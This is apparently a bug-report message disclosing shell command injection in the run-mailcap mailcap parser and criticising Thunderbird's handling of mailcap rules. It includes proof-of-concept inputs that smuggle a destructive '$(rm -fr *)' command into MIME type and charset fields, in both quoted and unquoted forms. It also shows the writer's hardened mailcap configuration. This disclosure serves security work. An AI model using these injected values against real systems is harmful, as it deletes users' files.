Thanks for your interest in the issue, Frank. I've looked into the run-mailcap(1) script (the reference parser, included in this package), and I found it also vulnerable to shell command injection.
(Test with --norun, at your own risk.) -- rule text/*; /usr/bin/w3m -T %t %s -- exploit $ type='text/$(rm -fr *)' # e.g. from a malicious mail header $ run-mailcap --action=view "$type":filename -- rule text/html; /usr/bin/w3m -I %{charset} %s -- exploit $ charset="'\$(rm -fr *)'" # e.g. from a malicious mail header $ charset=$charset run-mailcap --action=view filename.html If run-mailcap is used by some mail program or script for mailcap support, then it's a vector for arbitrary command execution. Perhaps this deserves its own bug report. Quotes on the rule obviously don't help: -- rule text/*; /usr/bin/w3m -T '%t' '%s' -- exploit $ type="text/'\$(rm -fr *)' " -- rule text/html; /usr/bin/w3m -I '%{charset}' '%s' -- exploit $ charset=" '\$(rm -rf *)' " Other run-mailcap quirks include the replacement of '' with ', breaking commands like join -t ''. Not that you want to do that often, but such manipulation is nonstandard nonetheless. Fortunately run-mailcap handling of %s seems safe because, if the name contains any shell-special punctuation or whitespace, a temporary symlink with a safe name is created, and the link name is used instead. Please don't try to fix the command injection issue by adding special cases. It just makes it more complex to reason about, and there's always a way around it! The only fix that would work with both quoted and unquoted rules is to just reject *any* shell-special punctuation or whitespaces in %-expansions. But even if that was acceptable, it would just encourage rule writers to do whatever they want, and bury the security problem deeper. Vulnerable mailcap parsers are common, in fact I haven't seen a secure one yet, do they actually exist? Well, it's not entirely their fault, the right thing to do is not written anywhere; the standard is underspecified and security was not even considered. I also tried to look into Thunderbird source code, which is huge and unfamiliar to me, so correct me if I got something wrong. https://hg.mozilla.org/mozilla-central/file/661f0d8ae4c44db58e668c831b555dbc038b77d0/uriloader/exthandler/unix/nsOSHelperAppService.cpp I made a couple of disturbing discoveries: 1) Thunderbird doesn't really use the %-expansion in the rules at all! The parsing function extracts what it thinks is the "executable name" and returns just that. Comments are hilarious: "UnescapeCommand really needs some work -- it should actually do some unescaping" // XXX ugly hack. Just grab the executable name ... // XXX End ugly hack :D 2) Thunderbird gives a higher priority to non-wildcard rules, even if they appear later. E.g. given this two rules and a text/rtf, Thunderbird picks the second rule: text/*; emacs %s text/rtf; soffice %s As a consequence, it's impossible to force the use of, say emacs, for all text subtypes without explicitly enumerating them (generated rules can change anytime). This is a violation of the rfc, which states that "The configuration information will be obtained from the FIRST matching entry". In summary, mailcap is harmful. And I won't feel safe until I can get rid of it. I already have MAILCAP/MAILCAPS environment variables set to /dev/null, and NOP rules on my /etc/mailcap: # ----- User Section Begins ----- # application/*; true; compose=true; composetyped=true; edit=true; print=true audio/*; true; compose=true; composetyped=true; edit=true; print=true font/*; true; compose=true; composetyped=true; edit=true; print=true image/*; true; compose=true; composetyped=true; edit=true; print=true message/*; true; compose=true; composetyped=true; edit=true; print=true model/*; true; compose=true; composetyped=true; edit=true; print=true multipart/*; true; compose=true; composetyped=true; edit=true; print=true text/*; true; compose=true; composetyped=true; edit=true; print=true video/*; true; compose=true; composetyped=true; edit=true; print=true # ----- User Section Ends ----- # But I've seen programs bypass both tricks and still pick a generated rule! Now I'm considering doing this to prevent automatic update of /etc/mailcap: # echo 'exit;' >/etc/update-mime.conf Is this solution supported? If not, is there another way? update-mime.conf is sourced from update-mime(8), but undocumented. Personally, I don't like the idea of having automatic associations between types and programs anyway, so I'm not going to miss mailcap. I'm just very concerned about the overall quality of the system, because something is so obviously broken and no one seems to care.